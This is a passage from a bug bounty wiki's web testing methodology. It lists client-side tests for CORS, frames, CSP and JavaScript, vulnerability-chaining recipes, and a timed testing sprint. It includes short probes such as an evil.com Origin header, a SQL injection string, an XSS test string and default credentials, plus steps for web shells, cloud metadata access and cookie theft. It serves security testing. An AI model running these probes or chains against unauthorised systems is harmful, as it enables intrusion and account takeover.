β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           CLIENT-SIDE BEHAVIOR                                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Cross-Origin  β”‚   β”‚ Frames /      β”‚   β”‚ CSP Header     β”‚   β”‚ JavaScript    β”‚
β”‚ Requests      β”‚   β”‚ Iframes       β”‚   β”‚ Present        β”‚   β”‚ Heavy App     β”‚
β”‚ (CORS)        β”‚   β”‚               β”‚   β”‚                β”‚   β”‚               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό                   β–Ό

🟠 Path A: Cross-Origin Requests (CORS)

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    CORS β†’ TEST FOR...                                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 ORIGIN REFLECTION                                        β”‚
β”‚  └─ Test: Origin: https://evil.com β†’ reflected in ACAO      β”‚
β”‚  └─ πŸ”— CORS.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟠 NULL ORIGIN ALLOWED                                      β”‚
β”‚  └─ Test: Origin: null β†’ ACAO: null                         β”‚
β”‚  └─ πŸ”— CORS.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟠 SUBDOMAIN ORIGIN BYPASS                                  β”‚
β”‚  └─ Test: Origin: https://evil.target.com                   β”‚
β”‚  └─ πŸ”— CORS.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟑 PREFLIGHT BYPASS                                         β”‚
β”‚  └─ Test: Simple request that doesn't trigger preflight     β”‚
β”‚  └─ πŸ”— CORS.md                                              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path B: Frames / Iframes

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    FRAMES / IFRAMES β†’ TEST FOR...                            β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟑 CLICKJACKING                                             β”‚
β”‚  └─ Test: Frame sensitive page, overlay transparent button β”‚
β”‚  └─ πŸ”— Clickjacking.md                                      β”‚
β”‚                                                              β”‚
β”‚  🟑 TABNABBING                                               β”‚
β”‚  └─ Test: Open link with target="_blank", change opener URL β”‚
β”‚  └─ πŸ”— Tabnabbing.md                                        β”‚
β”‚                                                              β”‚
β”‚  🟒 POSTMESSAGE MISCONFIGURATION                             β”‚
β”‚  └─ Test: Wildcard targetOrigin, missing origin check       β”‚
β”‚  └─ πŸ”— xss.md (DOM-based XSS via postMessage)              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟒 Path C: CSP Header Present

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    CSP HEADER β†’ TEST FOR...                                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟑 CSP BYPASS VIA CDN WHITELIST                             β”‚
β”‚  └─ Test: Whitelisted CDN has JSONP endpoints?              β”‚
β”‚  └─ πŸ”— csp.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟑 CSP BYPASS VIA SCRIPT GADGETS                            β”‚
β”‚  └─ Test: Legitimate scripts that can execute arbitrary JS β”‚
β”‚  └─ πŸ”— csp.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟑 UNSAFE-INLINE / UNSAFE-EVAL                              β”‚
β”‚  └─ Test: Inline script execution, eval() abuse             β”‚
β”‚  └─ πŸ”— csp.md                                               β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path D: JavaScript-Heavy Application

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    JAVASCRIPT-HEAVY APP β†’ TEST FOR...                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟑 DOM-BASED XSS                                            β”‚
β”‚  └─ Test: Sources (location.*, document.URL) β†’ sinks       β”‚
β”‚  └─ πŸ”— xss.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟑 PROTOTYPE POLLUTION                                      β”‚
β”‚  └─ Test: __proto__ payloads in object merge operations    β”‚
β”‚  └─ πŸ”— Prototype Pollution.md                               β”‚
β”‚                                                              β”‚
β”‚  🟑 CLIENT-SIDE DESERIALIZATION                              β”‚
β”‚  └─ Test: Malicious serialized objects in localStorage      β”‚
β”‚  └─ πŸ”— Deserialization.md                                   β”‚
β”‚                                                              β”‚
β”‚  🟒 EXPOSED API KEYS IN JS                                   β”‚
β”‚  └─ Test: Search .js files for apiKey, token, secret        β”‚
β”‚  └─ πŸ”— GitHub Security.md (similar techniques)              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

⛓️ Phase 7: Chaining Vulnerabilities

The highest-impact bugs come from chaining multiple vulnerabilities together.

Common Vulnerability Chains

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           VULNERABILITY CHAINING RECIPES                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

RECIPE 1: XSS β†’ Account Takeover
─────────────────────────────────────────────────────────────
  Open Redirect + XSS = Full Account Compromise
  
  Step 1: Find open redirect (Open Redirect.md)
  Step 2: Use redirect to bypass XSS input filters
  Step 3: Steal session cookies, OAuth tokens
  ─────────────────────────────────────────────────────────

RECIPE 2: SSRF β†’ Internal Network Access
─────────────────────────────────────────────────────────────
  SSRF + Weak Internal Auth = Data Exfiltration
  
  Step 1: Find SSRF endpoint (SSRF.md)
  Step 2: Access cloud metadata (169.254.169.254)
  Step 3: Use IAM credentials for lateral movement
  ─────────────────────────────────────────────────────────

RECIPE 3: File Upload + LFI β†’ RCE
─────────────────────────────────────────────────────────────
  Unrestricted Upload + Path Traversal = Remote Code Execution
  
  Step 1: Upload web shell as image (File Upload Vulns.md)
  Step 2: Find path (check response, predictable locations)
  Step 3: Include via LFI vulnerability (LFI and RFI.md)
  ─────────────────────────────────────────────────────────

RECIPE 4: CSRF + IDOR β†’ Privilege Escalation
─────────────────────────────────────────────────────────────
  CSRF (state change) + IDOR (user's data) = Takeover
  
  Step 1: Find IDOR in profile update (IDOR.md)
  Step 2: Create CSRF PoC that targets the IDOR endpoint
  Step 3: Victim unknowingly updates their own data
  ─────────────────────────────────────────────────────────

RECIPE 5: CRLF + XSS β†’ Cookie Theft
─────────────────────────────────────────────────────────────
  CRLF Injection + Reflected XSS = Session Hijacking
  
  Step 1: Inject CRLF to set new cookie (CRLF Injection.md)
  Step 2: Chain with XSS to exfiltrate original cookie
  Step 3: Use stolen cookie for session hijacking
  ─────────────────────────────────────────────────────────

RECIPE 6: Deserialization + SSRF β†’ RCE
─────────────────────────────────────────────────────────────
  Unsafe Deserialization + Internal Service Access = RCE
  
  Step 1: Find deserialization endpoint (Deserialization.md)
  Step 2: Use gadget chain that triggers SSRF
  Step 3: Access internal RCE-vulnerable service
  ─────────────────────────────────────────────────────────

RECIPE 7: HTTP Smuggling + Cache Poisoning β†’ Persistent XSS
─────────────────────────────────────────────────────────────
  Request Smuggling + Web Cache = Stored XSS for all users
  
  Step 1: Identify desync (HTTP Request Smuggling.md)
  Step 2: Poison cache with XSS payload
  Step 3: All visitors get XSS payload from cache
  ─────────────────────────────────────────────────────────

Chaining Decision Tree

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    YOU FOUND A SINGLE BUG. CAN YOU CHAIN IT?                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
                            β–Ό
                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                β”‚ What's the impact?  β”‚
                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                           β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                  β–Ό                  β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Low Impact    β”‚  β”‚ Medium        β”‚  β”‚ Already       β”‚
β”‚ (Reflected    β”‚  β”‚ (Stored XSS,  β”‚  β”‚ Critical      β”‚
β”‚  XSS, Info    β”‚  β”‚  CSRF, IDOR)  β”‚  β”‚ (RCE, SQLi)   β”‚
β”‚  Disclosure)  β”‚  β”‚               β”‚  β”‚               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                  β”‚                  β”‚
        β–Ό                  β–Ό                  β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ CAN YOU:      β”‚  β”‚ CAN YOU:      β”‚  β”‚ CAN YOU:      β”‚
β”‚ β€’ Redirect to β”‚  β”‚ β€’ Escalate    β”‚  β”‚ β€’ Pivot to    β”‚
β”‚   stored XSS? β”‚  β”‚   privileges? β”‚  β”‚   internal?   β”‚
β”‚ β€’ Use in      β”‚  β”‚ β€’ Chain with  β”‚  β”‚ β€’ Access new  β”‚
β”‚   phishing?   β”‚  β”‚   CSRF?       β”‚  β”‚   targets?    β”‚
β”‚ β€’ Pair with   β”‚  β”‚ β€’ Combine     β”‚  β”‚ β€’ Chain for   β”‚
β”‚   open redir? β”‚  β”‚   with LFI?   β”‚  β”‚   persistence?β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                  β”‚                  β”‚
        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                           β–Ό
                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                β”‚ Chain identified?   β”‚
                β”‚ Report as single    β”‚
                β”‚ finding with chain  β”‚
                β”‚ PoC                 β”‚
                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“Š Quick Reference Matrix

By Observation β†’ Vulnerabilities

I See... Test For... Methodology File
Login form SQLi, Brute Force, Session Fixation, NoSQLi SQL Injection.md, Bruteforcing.md
Search bar SQLi, XSS (reflected), SSTI, Command Injection Multiple
Profile page Stored XSS, IDOR, CSRF xss.md, IDOR.md, CSRF.md
File upload Unrestricted Upload, XXE, XSS via SVG File Upload Vulnerabilities.md, XXE.md
URL parameter ?url= SSRF, Open Redirect, LFI SSRF.md, Open Redirect.md, LFI and RFI.md
OAuth login Redirect URI bypass, CSRF, State injection OAuth.md
JWT in headers Algorithm confusion, Signature bypass JWT.md
GraphQL endpoint Introspection, Batching, Depth attacks GraphQL.md
API endpoints IDOR, Mass assignment, Race condition IDOR.md, API Penetration.md
Email functionality Header injection, SSTI, SSRF in templates Email Attacks.md
WebSocket CSWSH, Message manipulation WebSocket Exploitation.md
WAF/CDN Bypass, Origin IP, Request Smuggling WAF.md, HTTP Request Smuggling.md
Cache headers Cache poisoning, Cache deception Web Cache Deception.md
CORS headers Origin reflection, Null origin CORS.md
Iframes Clickjacking, Tabnabbing Clickjacking.md, Tabnabbing.md
CSP header Bypass via CDN, Script gadgets csp.md
__proto__ in JS Prototype pollution Prototype Pollution.md
XML input XXE, Billion laughs XXE Vulnerabilities.md
Serialized objects Insecure deserialization Deserialization.md
Race-prone endpoint Race condition Exploiting Race Conditions.md

By Expected Impact

Desired Impact Target These Vulnerabilities
RCE (Remote Code Execution) File Upload, SSTI, Deserialization, Command Injection, SQLi (xp_cmdshell)
Data Exfiltration SQLi (UNION), XXE, SSRF (cloud metadata), IDOR
Account Takeover XSS (session theft), CSRF (password change), JWT bypass, OAuth flaws
Privilege Escalation IDOR, Mass Assignment, JWT claim manipulation, Prototype Pollution
Internal Network Access SSRF, DNS Rebinding
Denial of Service Billion laughs (XXE), GraphQL depth attacks, Race conditions
Phishing Enablement Open Redirect, Tabnabbing, Clickjacking
Persistent Access Web Shell, Web Cache Poisoning, Stored XSS

🎯 One-Hour Testing Sprint

When you have limited time, prioritize these checks:

Minute 0-15: Quick Wins

Action Tool/Technique Expected Time
Check robots.txt, sitemap.xml Browser 30 seconds
Try default credentials admin:admin, test:test 1 minute
Check for .git/, .env, .DS_Store Browser/curl 2 minutes
Test ' OR 1=1-- on login Manual 2 minutes
Test <script>alert(1)</script> in search Manual 2 minutes
Check Access-Control-Allow-Origin: * Burp/Debugger 2 minutes
Look at JS files for API keys, endpoints Browser DevTools 5 minutes

Minute 15-35: Parameter Testing

Action Focus
Find all parameters (query, body, headers) Burp/Gobuster
Test sequential IDs for IDOR Manual/Burp Intruder
Test redirect-related parameters for Open Redirect Manual
Test URL parameters for SSRF Manual
Add ?debug=true, ?test=true Curiosity-driven

Minute 35-60: Deep Dive

Action Focus
Pick the most promising input and go deep Your instinct
Try bypass techniques from cheatsheets resources/cheatsheets/
Chain any two findings together Phase 7 above
Document everything for future reference Your notes

Bug Bounty Knowledge Base

For Security Researchers
Methodologies β€’ Cheatsheets β€’ Tools β€’ Write-ups


67 Methodologies 68 Cheatsheets 7 Tools 3 Wordlists


🧭 Start Here


πŸŽ“ Learning Path


βš”οΈ Web Penetration Testing

Core vulnerability exploitation guides


πŸ’» Web Technologies

Platform-specific exploitation guides


πŸ“‹ Cheatsheets

Quick-reference payloads & commands

πŸ“‹ View All 68 Cheatsheets
All cheatsheets are interlinked with their corresponding methodologies. Use the search function (press t on GitHub) to find a specific one quickly.

πŸ“ Templates & Wordlists


πŸ› οΈ Tools

βš™οΈ Automation

πŸ’₯ Exploitation

πŸ” Reconnaissance

πŸ”§ Utilities


✍️ Write-ups


πŸ“œ Core Documents


🌐 Connect

YouTube Twitter Discord LinkedIn Instagram Twitch Proton Mail


πŸ’° Support the Project

Buy Me A Coffee


πŸ”— Quick Links

Link Destination
🏠 Wiki Home Home
πŸ“ Repository GitHub
❓ FAQ FAQ
πŸ› Report a Bug Security Policy
πŸ“„ License MIT License
πŸ’¬ Discord Join Server


Maintained PRs Welcome MIT License

⚑ Stay curious. Hack ethically. Report responsibly.

Β© 2026 @aw-junaid β€’ Built with πŸ”¬ for the security community

Clone this wiki locally